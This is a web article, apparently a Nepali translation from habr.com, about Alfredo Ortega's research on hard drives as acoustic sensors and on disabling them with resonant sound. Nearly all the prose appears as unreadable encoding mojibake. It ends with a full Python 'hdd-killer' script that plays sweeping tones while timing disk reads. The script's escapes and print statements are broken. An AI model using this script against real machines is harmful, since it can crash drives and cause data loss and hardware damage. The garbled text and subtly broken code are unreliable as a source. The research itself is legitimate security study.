рддрдкрд╛рдИрдВрд▓реЗ рдЖрдлреНрдиреЛ HDD рдорд╛ рдХрд┐рди рдЪрд┐рдЪреНрдпрд╛рдЙрдиреБ рд╣реБрдБрджреИрди

рддрдкрд╛рдИрдВрд▓реЗ рдЖрдлреНрдиреЛ HDD рдорд╛ рдХрд┐рди рдЪрд┐рдЪреНрдпрд╛рдЙрдиреБ рд╣реБрдБрджреИрди

рдмреНрдпреВрдирд╕ рдЖрдпрд░реНрд╕рдорд╛ рднрдПрдХреЛ рдЗрдХреЛрдкрд╛рд░реНрдЯреА 2017 рдХрдореНрдкреНрдпреБрдЯрд░ рд╕реБрд░рдХреНрд╖рд╛ рд╕рдореНрдореЗрд▓рдирдорд╛, рдЕрд░реНрдЬреЗрдиреНрдЯрд┐рдирд╛рдХрд╛ рд╣реНрдпрд╛рдХрд░ рдЕрд▓реНрдлреНрд░реЗрдбреЛ рдУрд░реНрдЯреЗрдЧрд╛рд▓реЗ рдПрдХ рдзреЗрд░реИ рдЪрд╛рдЦрд▓рд╛рдЧреНрджреЛ рд╡рд┐рдХрд╛рд╕ рджреЗрдЦрд╛рдП - рдорд╛рдЗрдХреНрд░реЛрдлреЛрди рдкреНрд░рдпреЛрдЧ рдирдЧрд░реА рдкрд░рд┐рд╕рд░рдХреЛ рдЧреБрдкреНрдд рддрд╛рд░ рдЯреНрдпрд╛рдк рдЧрд░реНрдиреЗ рдкреНрд░рдгрд╛рд▓реАред рдзреНрд╡рдирд┐ рд╣рд╛рд░реНрдб рдбреНрд░рд╛рдЗрднрдорд╛ рд╕реАрдзрд╛ рд░реЗрдХрд░реНрдб!

HDD рд▓реЗ рдореБрдЦреНрдпрддрдпрд╛ рдЙрдЪреНрдЪ-рддреАрд╡реНрд░рддрд╛ рдХрдо-рдлреНрд░рд┐рдХреНрд╡реЗрдиреНрд╕реА рдзреНрд╡рдирд┐рд╣рд░реВ, рдкрд╛рдЗрд▓рд╛рд╣рд░реВ рд░ рдЕрдиреНрдп рдХрдореНрдкрдирд╣рд░реВ рд▓рд┐рдиреНрдЫред рдорд╛рдирд╡ рдмреЛрд▓реА рдЕрдЭреИ рдкрдирд┐ рдкрд╣рд┐рдЪрд╛рди рдЧрд░реНрди рд╕рдХрд┐рдБрджреИрди, рдпрджреНрдпрдкрд┐ рд╡реИрдЬреНрдЮрд╛рдирд┐рдХрд╣рд░реВ рдпрд╕ рджрд┐рд╢рд╛рдорд╛ рдЕрдиреБрд╕рдиреНрдзрд╛рди рднрдЗрд░рд╣реЗрдХреЛ рдЫ (рдХрдо рдЖрд╡реГрддреНрддрд┐ рдХрдореНрдкрдирд╣рд░реВ рджреНрд╡рд╛рд░рд╛ рд╡рд╛рдХреН рдкрд╣рд┐рдЪрд╛рди, рдЬреБрди рд░реЗрдХрд░реНрдб рдЧрд░рд┐рдПрдХреЛ рдЫ, рдЙрджрд╛рд╣рд░рдгрдХрд╛ рд▓рд╛рдЧрд┐, gyroscope рд╡рд╛ HDD рдмрд╛рдЯ)ред

рдзреНрд╡рдирд┐ рд╣рд╛рд╡рд╛ рд╡рд╛ рдЕрдиреНрдп рдорд╛рдзреНрдпрдордХреЛ рдХрдореНрдкрди рд╣реЛред рдПрдХ рд╡реНрдпрдХреНрддрд┐рд▓реЗ рддрд┐рдиреАрд╣рд░реВрд▓рд╛рдИ рдХрд╛рдирдХреЛ рдкрд░реНрджрд╛ рдорд╛рд░реНрдлрдд рдмреБрдЭреНрдЫ, рдЬрд╕рд▓реЗ рднрд┐рддреНрд░реА рдХрд╛рдирдорд╛ рдХрдореНрдкрдирд╣рд░реВ рдкрдард╛рдЙрдБрдЫред рдорд╛рдЗрдХреНрд░реЛрдлреЛрди рд▓рдЧрднрдЧ рдХрд╛рди рдЬрд╕реНрддреИ рдбрд┐рдЬрд╛рдЗрди рдЧрд░рд┐рдПрдХреЛ рдЫ - рдпрд╣рд╛рдБ рдкрдирд┐, рдХрдореНрдкрдирд╣рд░реВ рдкрд╛рддрд▓реЛ рдЭрд┐рд▓реНрд▓реА рджреНрд╡рд╛рд░рд╛ рд░реЗрдХрд░реНрдб рдЧрд░рд┐рдиреНрдЫ, рдЬрд╕рд▓реЗ рд╡рд┐рджреНрдпреБрддреАрдп рдЖрд╡реЗрдЧрд▓рд╛рдИ рдЙрддреНрддреЗрдЬрд┐рдд рдЧрд░реНрджрдЫред рд╣рд╛рд░реНрдб рдбреНрд░рд╛рдЗрдн, рдирд┐рд╕реНрд╕рдиреНрджреЗрд╣, рд╡рд░рдкрд░рдХреЛ рд╣рд╛рд╡рд╛рдорд╛ рдЙрддрд╛рд░-рдЪрдврд╝рд╛рд╡рдХреЛ рдХрд╛рд░рдг рдорд╛рдЗрдХреНрд░реЛрд╕реНрдХреЛрдкрд┐рдХ рдХрдореНрдкрдирд╣рд░реВрдХреЛ рдЕрдзреАрдирдорд╛ рдЫред рдпреЛ HDDs рдХреЛ рдкреНрд░рд╛рд╡рд┐рдзрд┐рдХ рд╡рд┐рд╢реЗрд╖рддрд╛рд╣рд░реБ рдмрд╛рдЯ рдкрдирд┐ рдерд╛рд╣рд╛ рдЫ: рдирд┐рд░реНрдорд╛рддрд╛рд╣рд░реБ рд╕рд╛рдорд╛рдиреНрдпрддрдпрд╛ рдЕрдзрд┐рдХрддрдо рдЕрдиреБрдорддрд┐ рдХрдореНрдкрди рд╕реНрддрд░ рд╕рдВрдХреЗрдд рдЧрд░реНрджрдЫ, рд░ рд╣рд╛рд░реНрдб рдбреНрд░рд╛рдЗрдн рдЖрдлреИрд▓реЗ рдЕрдХреНрд╕рд░ рд░рдмрд░ рд╡рд╛ рдЕрдиреНрдп рдЗрдиреНрд╕реБрд▓реЗрдЯ рд╕рд╛рдордЧреНрд░реА рдмрдиреЗрдХреЛ рдХрдореНрдкрди-рдкреНрд░рдорд╛рдг рдХрдиреНрдЯреЗрдирд░ рдорд╛ рд░рд╛рдЦреНрди рдкреНрд░рдпрд╛рд╕ рдЧрд░реНрджрдЫред рдпрд╕рдмрд╛рдЯ рдпреЛ рдирд┐рд╖реНрдХрд░реНрд╖ рдирд┐рдХрд╛рд▓реНрди рд╕рдЬрд┐рд▓реЛ рдЫ рдХрд┐ рдзреНрд╡рдирд┐ HDD рдкреНрд░рдпреЛрдЧ рдЧрд░реЗрд░ рд░реЗрдХрд░реНрдб рдЧрд░реНрди рд╕рдХрд┐рдиреНрдЫред рдХреЗ рдХрд╕рд░реА рдкрддреНрддрд╛ рд▓рдЧрд╛рдЙрди рдмрд╛рдБрдХреА рдЫред

рдЕрд▓реНрдлреНрд░реЗрдбреЛ рдУрд░реНрдЯреЗрдЧрд╛рд▓реЗ рд╕рд╛рдЗрдб-рдЪреНрдпрд╛рдирд▓ рдЖрдХреНрд░рдордгрдХреЛ рдПрдХ рдЕрджреНрд╡рд┐рддреАрдп рд╕рдВрд╕реНрдХрд░рдг рдкреНрд░рд╕реНрддрд╛рд╡ рдЧрд░реЗ, рдЕрд░реНрдерд╛рддреН рд╕рдордп рдЖрдХреНрд░рдордгред рдпреЛ рдЖрдХреНрд░рдордг рджрд┐рдЗрдПрдХреЛ рдЗрдирдкреБрдЯ рдбреЗрдЯрд╛рдорд╛ рдирд┐рд░реНрднрд░ рдЧрд░реНрджреИ, рд╡рд┐рднрд┐рдиреНрди рд╕рдордпрдорд╛ рдЙрдкрдХрд░рдгрдорд╛ рд╡рд┐рднрд┐рдиреНрди рдХрд╛рд░реНрдпрд╣рд░реВ рдЧрд░рд┐рдиреНрдЫ рднрдиреНрдиреЗ рдзрд╛рд░рдгрд╛рдорд╛ рдЖрдзрд╛рд░рд┐рдд рдЫред рдпрд╕ рдЕрд╡рд╕реНрдерд╛рдорд╛, "рдЗрдирдкреБрдЯ рдбрд╛рдЯрд╛" рднрдиреЗрдХреЛ рдкрдвреНрдиреЗ рдЯрд╛рдЙрдХреЛ рд░ HDD рдкреНрд▓реЗрдЯрд░рдХреЛ рдХрдореНрдкрди рд╣реЛ, рдЬреБрди рд╡рд╛рддрд╛рд╡рд░рдгрдХреЛ рдХрдореНрдкрдирд╕рдБрдЧ рд╕рдореНрдмрдиреНрдзрд┐рдд рдЫ, рдЕрд░реНрдерд╛рддреН рдзреНрд╡рдирд┐рд╕рдБрдЧред рдпрд╕рд░реА, рдЧрдгрдирд╛ рд╕рдордп рдорд╛рдкрди рдЧрд░реЗрд░ рд░ рдбрд╛рдЯрд╛рдХреЛ рд╕рд╛рдВрдЦреНрдпрд┐рдХреАрдп рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдкреНрд░рджрд░реНрд╢рди рдЧрд░реЗрд░, рд╣реЗрдб/рдкреНрд▓реЗрдЯрд░рдХреЛ рдХрдореНрдкрди рд░ рдпрд╕реИрд▓реЗ рдорд╛рдзреНрдпрдордХреЛ рдХрдореНрдкрдирд╣рд░реВ рдорд╛рдкрди рдЧрд░реНрди рд╕рдХрд┐рдиреНрдЫред рдбрд╛рдЯрд╛ рдкрдвреНрдирдорд╛ рдЬрддрд┐ рдврд┐рд▓реЛ рд╣реБрдиреНрдЫ, HDD рдХрдореНрдкрдирд╣рд░реВ рдмрд▓рд┐рдпреЛ рд╣реБрдиреНрдЫ рд░ рддреНрдпрд╕реИрд▓реЗ, рдЪрд░реНрдХреЛ рдЖрд╡рд╛рдЬред

рд╣рд╛рд░реНрдб рдбреНрд░рд╛рдЗрдн рдХрдореНрдкрди рдХрд╕рд░реА рдорд╛рдкрди рдЧрд░реНрдиреЗ? рдзреЗрд░реИ рд╕рд░рд▓: рдХреЗрд╡рд▓ рдкреНрд░рдгрд╛рд▓реА рдХрд▓ рдЪрд▓рд╛рдЙрдиреБрд╣реЛрд╕реН read () - рд░ рдпрд╕рд▓рд╛рдИ рдкреВрд░рд╛ рдЧрд░реНрди рд▓рд╛рдЧреНрдиреЗ рд╕рдордп рд░реЗрдХрд░реНрдб рдЧрд░реНрдиреБрд╣реЛрд╕реНред рдЖрдзреБрдирд┐рдХ рдЕрдкрд░реЗрдЯрд┐рдЩ рд╕рд┐рд╕реНрдЯрдорд╣рд░реВрд▓реЗ рддрдкрд╛рдИрдВрд▓рд╛рдИ рдирд╛рдиреЛрд╕реЗрдХреЗрдиреНрдб рд╢реБрджреНрдзрддрд╛рдХрд╛ рд╕рд╛рде рдкреНрд░рдгрд╛рд▓реА рдХрд▓рд╣рд░реВрдХреЛ рд╕рдордп рдкрдвреНрди рдЕрдиреБрдорддрд┐ рджрд┐рдиреНрдЫред

рд╕реЗрдХреНрдЯрд░рдмрд╛рдЯ рдЬрд╛рдирдХрд╛рд░реА рдкрдвреНрдиреЗ рдЧрддрд┐ рд╣реЗрдб рд░ рдкреНрд▓реЗрдЯрд░рдХреЛ рд╕реНрдерд┐рддрд┐рдорд╛ рдирд┐рд░реНрднрд░ рдЧрд░реНрджрдЫ, рдЬреБрди HDD рдХреЗрд╕рдХреЛ рдХрдореНрдкрдирд╕рдБрдЧ рд╕рдореНрдмрдиреНрдзрд┐рдд рдЫред рдпрддрд┐ рдиреИред

рд╕рд╛рдВрдЦреНрдпрд┐рдХреАрдп рд╡рд┐рд╢реНрд▓реЗрд╖рдг рд╕рд╛рдзрд╛рд░рдг Kscope рдЙрдкрдпреЛрдЧрд┐рддрд╛ рдкреНрд░рдпреЛрдЧ рдЧрд░реА рдЧрд░рд┐рдиреНрдЫред рддрд┐рдиреАрд╣рд░реВ рднрдиреНрдЫрдиреН, рд╕рдмреИ рд╕рд░рд▓ рд╕рд░рд▓ рдЫред

рддрдкрд╛рдИрдВрд▓реЗ рдЖрдлреНрдиреЛ HDD рдорд╛ рдХрд┐рди рдЪрд┐рдЪреНрдпрд╛рдЙрдиреБ рд╣реБрдБрджреИрди
Kscope рдЙрдкрдпреЛрдЧрд┐рддрд╛ (stat() syscall)

Kscope рдкреНрд░рдгрд╛рд▓реА рдХрд▓ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рд╕рдордпрдорд╛ рд╕рд╛рдирд╛ рднрд┐рдиреНрдирддрд╛рд╣рд░реВ рдХрд▓реНрдкрдирд╛ рдЧрд░реНрдирдХреЛ рд▓рд╛рдЧрд┐ рдПрдЙрдЯрд╛ рд╕рд╛рдиреЛ рдЙрдкрдпреЛрдЧрд┐рддрд╛ рд╣реЛред рдореБрд╣рд╛рдиGitHub рдорд╛ рдкреНрд░рдХрд╛рд╢рд┐рдд.

рдЫреБрдЯреНрдЯреИ рднрдгреНрдбрд╛рд░рдорд╛ HDD-рд╕рдордп рддреНрдпрд╣рд╛рдБ рд╣рд╛рд░реНрдб рдбреНрд░рд╛рдЗрднрдорд╛ рд╕рдордп рдЖрдХреНрд░рдордгрдХреЛ рд▓рд╛рдЧрд┐ рдХрдиреНрдлрд┐рдЧрд░ рдЧрд░рд┐рдПрдХреЛ рдЙрдкрдпреЛрдЧрд┐рддрд╛рдХреЛ рд╕рдВрд╕реНрдХрд░рдг рдЫ, рдЬреБрди рдкреНрд░рдгрд╛рд▓реА рдХрд▓ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдЧрд░реНрди рдХрдиреНрдлрд┐рдЧрд░ рдЧрд░рд┐рдПрдХреЛ рдЫред read ().

HDD рдкреНрд░рдпреЛрдЧ рдЧрд░реА рдзреНрд╡рдирд┐ рд░реЗрдХрд░реНрдбрд┐рдЩрдХреЛ рдкреНрд░рджрд░реНрд╢рди, Kscope рдЙрдкрдпреЛрдЧрд┐рддрд╛рдХреЛ рд╕рдЮреНрдЪрд╛рд▓рди


рдирд┐рд╕реНрд╕рдиреНрджреЗрд╣, рднрд╛рд╖рдг рдпрд╕ рддрд░рд┐рдХрд╛рд▓реЗ рдмреБрдЭреНрди рд╕рдХрд┐рдБрджреИрди, рддрд░ HDD рдПрдХ рдХрдореНрдкрди рд╕реЗрдиреНрд╕рд░ рд░реВрдкрдорд╛ рдПрдХрджрдо рдЙрдкрдпреБрдХреНрдд рдЫред рдЙрджрд╛рд╣рд░рдгрдХрд╛ рд▓рд╛рдЧрд┐, рдпрджрд┐ рдХрдбрд╛ рдЬреБрддреНрддрд╛ рд▓рдЧрд╛рдПрдХреЛ рд╡рд╛ рдЦрд╛рд▓реА рдЦреБрдЯреНрдЯрд╛ рд▓рдЧрд╛рдПрдХреЛ рд╡реНрдпрдХреНрддрд┐ рдХрдореНрдкреНрдпреБрдЯрд░рдХреЛ рд╕рд╛рде рдХреЛрдард╛рдорд╛ рдкреНрд░рд╡реЗрд╢ рдЧрд░реЗрдорд╛ рддрдкрд╛рдИрд▓реЗ рджрд░реНрддрд╛ рдЧрд░реНрди рд╕рдХреНрдиреБрд╣реБрдиреНрдЫ (рд╕рдореНрднрд╡рддрдГ, рдпрджрд┐ рдЖрдХреНрд░рдордгрдХрд╛рд░реАрд▓реЗ рдирд░рдо рд╕реНрдиреАрдХрд░ рд▓рдЧрд╛рдПрдХреЛ рдЫ рд╡рд╛ рднреБрдЗрдБрдорд╛ рдмрд╛рдХреНрд▓реЛ рдХрд╛рд░реНрдкреЗрдЯ рдЫ рднрдиреЗ, HDD рд▓реЗ рдХрдореНрдкрдирд╣рд░реВ рджрд░реНрддрд╛ рдЧрд░реНрди рд╕рдХреНрд╖рдо рд╣реБрдиреЗрдЫреИрди - рдпреЛ рдЬрд╛рдБрдЪ рдЧрд░реНрди рд▓рд╛рдпрдХ рдЫ)ред рдХрдореНрдкреНрдпреВрдЯрд░рд▓реЗ рдЯреБрдЯреЗрдХреЛ рдЧрд┐рд▓рд╛рд╕ рд╡рд╛ рдЕрдиреНрдп рдШрдЯрдирд╛рд╣рд░реВ рдмрд▓рд┐рдпреЛ рдзреНрд╡рдирд┐ рддреАрд╡реНрд░рддрд╛рдХреЛ рд╕рд╛рде рджрд░реНрддрд╛ рдЧрд░реНрди рд╕рдХреНрд╖рдо рдЫред рддреНрдпреЛ рд╣реЛ, рд╣рд╛рд░реНрдб рдбреНрд░рд╛рдЗрднрд▓реЗ рдПрдХ рдкреНрд░рдХрд╛рд░рдХреЛ рдЕрдирдзрд┐рдХреГрдд рдШреБрд╕рдкреИрда рдкрддреНрддрд╛ рд▓рдЧрд╛рдЙрдиреЗ рдкреНрд░рдгрд╛рд▓реАрдХреЛ рд░реВрдкрдорд╛ рд╕реЗрд╡рд╛ рдЧрд░реНрди рд╕рдХреНрдЫред

HDD рд╣рддреНрдпрд╛рд░рд╛

рд╡реИрд╕реЗ, рдПрдХ рд╕рдорд╛рди рдкреНрд░рд╡рд┐рдзрд┐ рд╣рд╛рд░реНрдб рдбреНрд░рд╛рдЗрд╡ рдЕрд╕рдХреНрд╖рдо рдЧрд░реНрди рдкреНрд░рдпреЛрдЧ рдЧрд░реНрди рд╕рдХрд┐рдиреНрдЫред рдХреЗрд╡рд▓ рдпрд╣рд╛рдБ рд╣рд╛рдореА HDD рдмрд╛рдЯ рджреЛрд▓рдирд╣рд░реВ рд╣рдЯрд╛рдЙрдБрджреИрдиреМрдВ, рддрд░ рдпрд╕рдХреЛ рд╡рд┐рдкрд░рд┐рдд, рд╣рд╛рдореА HDD рд▓рд╛рдИ рдЦреБрд╡рд╛рдЗрдиреЗ рджреЛрд▓рдирд╣рд░реВ рдЙрддреНрдкрдиреНрди рдЧрд░реНрдЫреМрдВред рдпрджрд┐ рддрдкрд╛рдЗрдБ HDD рдлреНрд░рд┐рдХреНрд╡реЗрдиреНрд╕реАрд╕рдБрдЧ рдкреНрд░рддрд┐рдзреНрд╡рдирд┐ рдЧрд░реНрдиреЗ рдлреНрд░рд┐рдХреНрд╡реЗрдиреНрд╕реАрдорд╛ рд╕реНрдкрд┐рдХрд░рдмрд╛рдЯ рдзреНрд╡рдирд┐ рдмрдЬрд╛рдЙрдиреБрд╣реБрдиреНрдЫ рднрдиреЗ, рдкреНрд░рдгрд╛рд▓реАрд▓реЗ рдЪрд╛рдБрдбреИ I/O рддреНрд░реБрдЯрд┐рдХреЛ рд╕рд╛рде рдпрдиреНрддреНрд░ рдмрдиреНрдж рдЧрд░реНрджрдЫ (рд▓рд┐рдирдХреНрд╕ рдХрд░реНрдиреЗрд▓рд▓реЗ 120 рд╕реЗрдХреЗрдиреНрдб рдкрдЫрд┐ HDD рдкреВрд░реНрдг рд░реВрдкрдорд╛ рдмрдиреНрдж рдЧрд░реНрджрдЫ)ред рд╣рд╛рд░реНрдб рдбреНрд░рд╛рдЗрдн рдЖрдлреИ рдЕрдкрд░рд┐рд╡рд░реНрддрдиреАрдп рдХреНрд╖рддрд┐ рд╣реБрди рд╕рдХреНрдЫред

рддрдкрд╛рдИрдВрд▓реЗ рдЖрдлреНрдиреЛ HDD рдорд╛ рдХрд┐рди рдЪрд┐рдЪреНрдпрд╛рдЙрдиреБ рд╣реБрдБрджреИрди
рд▓рд┐рдирдХреНрд╕ рдХрд░реНрдиреЗрд▓рд▓реЗ рдПрдбрд┐рдлрд╛рдпрд░ r120u USB рд╕реНрдкрд┐рдХрд░рдХреЛ рд╕реНрдкрд┐рдХрд░ рдорд╛рд░реНрдлрдд рд░рд┐рд╕реЛрдирдиреНрдЯ рдлреНрд░рд┐рдХреНрд╡реЗрдиреНрд╕реАрдорд╛ рдзреНрд╡рдирд┐ рдбреЗрд▓рд┐рднрд░ рдЧрд░реЗрдХреЛ 19 рд╕реЗрдХреЗрдиреНрдб рдкрдЫрд┐ рд╣рд╛рд░реНрдб рдбреНрд░рд╛рдЗрдн рдмрдиреНрдж рдЧрд░реНрдпреЛред рд╕реНрдкрд┐рдХрд░ рдкрд╛рд╡рд░рдХреЛ рдПрдХ рдЪреМрдерд╛рдИ (100 mW рднрдиреНрджрд╛ рдХрдо) рдорд╛ рд╕рдХреНрд░рд┐рдп рд╣реБрдиреНрдЫ рд░ HDD рдмрд╛рдЯ 20 рд╕реЗрдиреНрдЯреАрдорд┐рдЯрд░ рдЯрд╛рдврд╛ рдЕрд╡рд╕реНрдерд┐рдд рд╣реБрдиреНрдЫ, рдХрдореНрдкрдирд╣рд░реВ рдмреГрджреНрдзрд┐ рдЧрд░реНрдирдХреЛ рд▓рд╛рдЧрд┐ рдЯреЗрдмрд▓рдорд╛ рд▓рдХреНрд╖рд┐рдд рд╣реБрдиреНрдЫред рдмрд╛рдЯ рдлреНрд░реЗрдо рднрд┐рдбрд┐рдпреЛ рдХреНрд▓рд┐рдк HDD рд╣рддреНрдпрд╛рд░рд╛ рдХреЛ рдПрдХ рдкреНрд░рджрд░реНрд╢рди рд╕рдВрдЧ

рдпреЛ рдЬрд┐рдЬреНрдЮрд╛рд╕реБ рдЫ рдХрд┐ HDD рдорд╛ рдпрд╕реНрддреЛ "рдЖрдХреНрд░рдордг" рдХрд╣рд┐рд▓реЗрдХрд╛рд╣реАрдБ рджреИрдирд┐рдХ рдЬреАрд╡рдирдорд╛ рджреБрд░реНрдШрдЯрдирд╛ рджреНрд╡рд╛рд░рд╛ рдкреВрд░реНрдг рд░реВрдкрдорд╛ рд╣реБрдиреНрдЫред рдЙрджрд╛рд╣рд░рдг рдХреЛ рд▓рд╛рдЧреА, рд╕реЗрдкреНрдЯреЗрдореНрдмрд░ 2016 рдорд╛, ING рдмреИрдВрдХ рдбрд╛рдЯрд╛ рд╕реЗрдиреНрдЯрд░ рд▓рд╛рдИ рдлрд╛рдпрд░ рдбреНрд░рд┐рд▓ рдкрдЫрд┐ 10 рдШрдгреНрдЯрд╛ рдХреЛ рд▓рд╛рдЧреА рд╕рдЮреНрдЪрд╛рд▓рди рд╕реНрдердЧрд┐рдд рдЧрд░реНрди рдмрд╛рдзреНрдп рдкрд╛рд░рд┐рдПрдХреЛ рдерд┐рдпреЛред рджрд░реНрдЬрдиреМрдВ рд╣рд╛рд░реНрдб рдбреНрд░рд╛рдЗрднрд╣рд░реВ рдЕрд╕рдлрд▓ рднрдПрдХрд╛ рдЫрдиреН рдЙрдЪреНрдЪ рдЪрд╛рдкрдорд╛ рд╕рд┐рд▓рд┐рдиреНрдбрд░рдмрд╛рдЯ рдирд┐рд╕реНрдХрдиреЗ рдЧреНрдпрд╛рд╕рдХреЛ рдареВрд▓реЛ рдЖрд╡рд╛рдЬрдХрд╛ рдХрд╛рд░рдгред рдзреНрд╡рдирд┐ рдзреЗрд░реИ рдЪрд░реНрдХреЛ рдерд┐рдпреЛ (резрейреж dB рднрдиреНрджрд╛ рдмрдвреА), рддрд░ рддрдкрд╛рдИрдВ рд╣рд╛рд░реНрдб рдбреНрд░рд╛рдЗрднрдорд╛ рдЪрд┐рдЪреНрдпрд╛рдЙрди рдкрдирд┐ рд╕рдХреНрдиреБрд╣реБрдиреНрди - рдпрд╕рд▓реЗ HDD рдкрд╣реБрдБрдЪ рдЧрд░реНрди рдврд┐рд▓рд╛рдЗ рдмрдврд╛рдЙрдБрдЫред

рдбрд╛рдЯрд╛ рд╕реЗрдиреНрдЯрд░рдорд╛ рд╣рд╛рд░реНрдб рдбреНрд░рд╛рдЗрднрдорд╛ рдорд╛рдирд╡ рдЪрд┐рдЪреНрдпрд╛рдПрдХреЛ рдкреНрд░рджрд░реНрд╢рдиред рд╡рд┐рд▓рдореНрдмрддрд╛ рдорд╛рдкрди


рдкреНрд░рддрд┐рдзреНрд╡рдирд┐рдд рдзреНрд╡рдирд┐ рдЙрддреНрдкрдиреНрди рдЧрд░реНрди, рдЕрд▓реНрдлреНрд░реЗрдбреЛ рдУрд░реНрдЯреЗрдЧрд╛рд▓реЗ рдкрд╛рдЗрдерди рд▓рд┐рдкрд┐ рд▓реЗрдЦреЗ hdd-рд╣рддреНрдпрд╛рд░рд╛ (рднрд┐рдбрд┐рдпреЛ рдкреНрд░рджрд░реНрд╢рди).

HDD рд╣рддреНрдпрд╛рд░рд╛ рд▓рд┐рдкрд┐ рдпреЛ рдПрдХрджрдо рд╕рд╛рдиреЛ рдЫ, рддреНрдпрд╕реИрд▓реЗ рддрдкрд╛рдИрдВ рдпрд╕рд▓рд╛рдИ рдкреВрд░реНрдг рд░реВрдкрдорд╛ рдпрд╣рд╛рдБ рдкреНрд░рдХрд╛рд╢рд┐рдд рдЧрд░реНрди рд╕рдХреНрдиреБрд╣реБрдиреНрдЫред

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

рд╕реНрд░реЛрдд: www.habr.com

рдПрдХ рдЯрд┐рдкреНрдкрдгреА рдердкреНрди